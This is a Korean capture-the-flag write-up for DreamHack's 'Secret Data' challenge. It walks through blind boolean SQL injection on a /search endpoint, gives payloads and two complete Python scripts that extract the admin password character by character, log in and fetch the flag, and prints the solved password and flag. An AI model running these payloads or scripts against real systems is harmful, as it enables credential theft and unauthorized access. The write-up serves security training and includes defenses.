DreamHack Secret Data: Blind SQLi로 admin 비밀번호 추출 → 플래그 획득

2026-03-31

DreamHack Secret Data: Blind SQLi로 admin 비밀번호 추출 → 플래그 획득

/search 엔드포인트의 SQL 문자열 직접 결합 취약점을 이용해 블라인드 boolean 방식으로 admin 비밀번호를 한 글자씩 추출하고, /admin에서 최종 플래그를 획득한 전 과정을 정리합니다.

DreamHack 02_Secret_Data 풀이

문제 구조 파악

제공된 소스코드(deploy/app.py)를 열면 라우트가 세 개다.

경로역할SQL 처리 방식
/search데이터 검색문자열 직접 결합 (취약)
/login관리자 로그인파라미터 바인딩 (안전)
/admin플래그 출력로그인 세션 필요

핵심 취약 코드는 아래 형태다.

py
PY
sql = f"SELECT COUNT(*) FROM secret_data WHERE title LIKE '%{query}%'"

query가 SQL 문맥에 그대로 삽입된다. 응답은 "Found / Not Found" 두 가지뿐이라 직접 데이터를 볼 수는 없지만, 참/거짓 분기가 명확하므로 Blind Boolean SQLi로 비밀번호를 한 글자씩 뽑을 수 있다.


Step 1 — 서비스 구조 확인

메인 화면
메인 화면

상단 내비게이션에 SearchAdmin Login 두 진입점이 보인다. Search가 외부에 노출된 유일한 입력 포인트다.


Step 2 — /search 기본 동작 확인

Search 페이지
Search 페이지

/search는 키워드를 받아 DB에서 제목을 LIKE 검색한다. 응답 메시지만으로 일치 여부를 알 수 있어 블라인드 공격에 최적이다.


Step 3 — 정상 검색: 기준선(Baseline) 확인

정상 검색 결과 (Not Found)
정상 검색 결과 (Not Found)

아무 매칭이 없는 키워드 test를 넣으면 Not found 메시지가 반환된다. 이게 "거짓(False)" 상태의 기준선이다.


Step 4 — Boolean TRUE Payload: SQLi 동작 확인

text
TEXT
ZZZ' OR 1=1-- -

Boolean TRUE 결과 (Found)
Boolean TRUE 결과 (Found)

1=1은 항상 참이므로 WHERE 조건 전체가 참이 돼 Found 응답이 돌아온다. SQLi가 동작한다는 직접 증거다.


Step 5 — Boolean FALSE Payload: 대조 확인

text
TEXT
ZZZ' OR 1=2-- -

Boolean FALSE 결과 (Not Found)
Boolean FALSE 결과 (Not Found)

1=2는 항상 거짓이므로 다시 Not found로 돌아온다. 참/거짓 응답이 명확히 구분되므로 이제 서브쿼리 조건을 끼워 넣으면 된다.


Step 6 — Blind Boolean으로 admin 비밀번호 추출

참/거짓 분기를 이용해 비밀번호를 한 글자씩 특정한다.

비밀번호 길이 확인:

text
TEXT
ZZZ' OR (SELECT length(password) FROM users WHERE username='admin')=16-- -

문자 하나씩 추출 (이진 탐색으로 속도 개선 가능):

text
TEXT
ZZZ' OR (SELECT substr(password,1,1) FROM users WHERE username='admin')='b'-- - ZZZ' OR (SELECT substr(password,2,1) FROM users WHERE username='admin')='7'-- - ...

실제 페이로드를 넣으면 아래처럼 서버가 Found 응답을 돌려준다 — 이 문자가 맞다는 신호다.

substr 페이로드 → Found 응답
substr 페이로드 → Found 응답

이 과정을 자동화하면 아래 코드 한 번으로 비밀번호 전체를 뽑을 수 있다.

py
PY
import requests, string BASE = "http://host3.dreamhack.games:23148" def query(payload): r = requests.post(f"{BASE}/search", data={"query": payload}, timeout=10) return "Found" in r.text # 1) 비밀번호 길이 확인 length = 0 for i in range(1, 64): p = f"ZZZ' OR (SELECT length(password) FROM users WHERE username='admin')={i}-- -" if query(p): length = i break print(f"[*] password length: {length}") # 2) 한 글자씩 추출 chars = string.ascii_lowercase + string.digits password = "" for pos in range(1, length + 1): for c in chars: p = ( f"ZZZ' OR (SELECT substr(password,{pos},1) " f"FROM users WHERE username='admin')='{c}'-- -" ) if query(p): password += c print(f" pos {pos} -> {c} (so far: {password})") break print(f"[+] admin password: {password}")

16번 반복 후 추출 완료:

Python 실행 결과 (password 추출 결과)
Python 실행 결과 (password 추출 결과)

text
TEXT
admin password: b7c06238243ba531

Step 7 — 로그인 → /admin 플래그 획득

Login 페이지 (admin 자격증명 입력)
Login 페이지 (admin 자격증명 입력)

추출한 비밀번호로 로그인을 시도한다: admin / b7c06238243ba531

Admin 패널 — 플래그 확인
Admin 패널 — 플래그 확인

로그인 직후 Admin Panel로 리다이렉트되며 CONFIDENTIAL FLAG 섹션에 플래그가 표시된다.


최종 플래그

text
TEXT
DH{94c83b97d2292c64d964f68e5ccf4ec9}

공격 흐름 요약

code
/search 검색 쿼리 → 문자열 결합 취약점 확인 (Step 3~5) → 서브쿼리로 users 테이블 접근 → 비밀번호 16자 추출 (Step 6) → /login으로 admin 인증 → /admin에서 플래그 획득 (Step 7)

방어 방법

  • Prepared Statement 강제 — 검색 LIKE도 예외 없이 파라미터 바인딩
  • 에러 및 응답 차이 최소화 — Found/Not Found 같은 이진 응답도 블라인드 공격 채널이 됨
  • 관리자 페이지 접근 통제 강화 — 세션 외에 IP/2FA 추가 레이어 권고

Full Exploit — URL 하나로 플래그까지

아래 코드는 URL만 넘기면 ① SQLi 동작 확인 → ② admin 비밀번호 추출 → ③ 로그인 → ④ /admin 플래그 획득까지 자동으로 실행한다.

py
PY
#!/usr/bin/env python3 """ DreamHack 02_Secret_Data — Full Blind SQLi Exploit Usage: python3 exploit.py http://host3.dreamhack.games:23148 """ import sys import string import requests def exploit(base: str): session = requests.Session() # ── 1) SQLi 동작 확인 ────────────────────────────────────────── def sqli(payload: str) -> bool: r = session.post(f"{base}/search", data={"query": payload}, timeout=10) return "Found" in r.text true_test = "ZZZ' OR 1=1-- -" false_test = "ZZZ' OR 1=2-- -" assert sqli(true_test), "SQLi TRUE 테스트 실패 — 취약점 없거나 URL 확인 필요" assert not sqli(false_test), "SQLi FALSE 테스트 실패 — 응답 구분 불가" print("[+] SQLi 동작 확인 완료") # ── 2) admin 비밀번호 길이 확인 ──────────────────────────────── length = 0 for i in range(1, 128): p = ( f"ZZZ' OR (SELECT length(password) FROM users " f"WHERE username='admin')={i}-- -" ) if sqli(p): length = i break if not length: sys.exit("[-] 비밀번호 길이 추출 실패") print(f"[+] 비밀번호 길이: {length}") # ── 3) 비밀번호 문자 추출 (이진 탐색으로 속도 개선) ───────────── chars = string.ascii_lowercase + string.digits + string.ascii_uppercase + string.punctuation password = "" for pos in range(1, length + 1): lo, hi = 32, 126 # ASCII printable 범위 found_char = None while lo <= hi: mid = (lo + hi) // 2 p = ( f"ZZZ' OR (SELECT unicode(substr(password,{pos},1)) " f"FROM users WHERE username='admin')>{mid}-- -" ) if sqli(p): lo = mid + 1 else: hi = mid - 1 # lo == 정확한 ascii 코드 found_char = chr(lo) password += found_char print(f" pos {pos:>2} -> {found_char} ({password})") print(f"[+] admin password: {password}") # ── 4) 로그인 ───────────────────────────────────────────────── r = session.post( f"{base}/login", data={"username": "admin", "password": password}, timeout=10, allow_redirects=True, ) if "Login successful" not in r.text and "Admin Panel" not in r.text: # fallback: 추출 비밀번호가 대소문자 구분 문제인 경우 재시도 sys.exit(f"[-] 로그인 실패 (password={password})") print("[+] 로그인 성공") # ── 5) /admin 플래그 획득 ───────────────────────────────────── r = session.get(f"{base}/admin", timeout=10) import re m = re.search(r"DH\{[^}]+\}", r.text) if m: print(f"\n[FLAG] {m.group(0)}") else: print("[-] 플래그 패턴 미발견 — /admin 응답 내용 확인 필요") print(r.text[:500]) if __name__ == "__main__": url = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://host3.dreamhack.games:23148" exploit(url)

Full Exploit — URL 하나로 플래그까지 (DH 추출 결과)
Full Exploit — URL 하나로 플래그까지 (DH 추출 결과)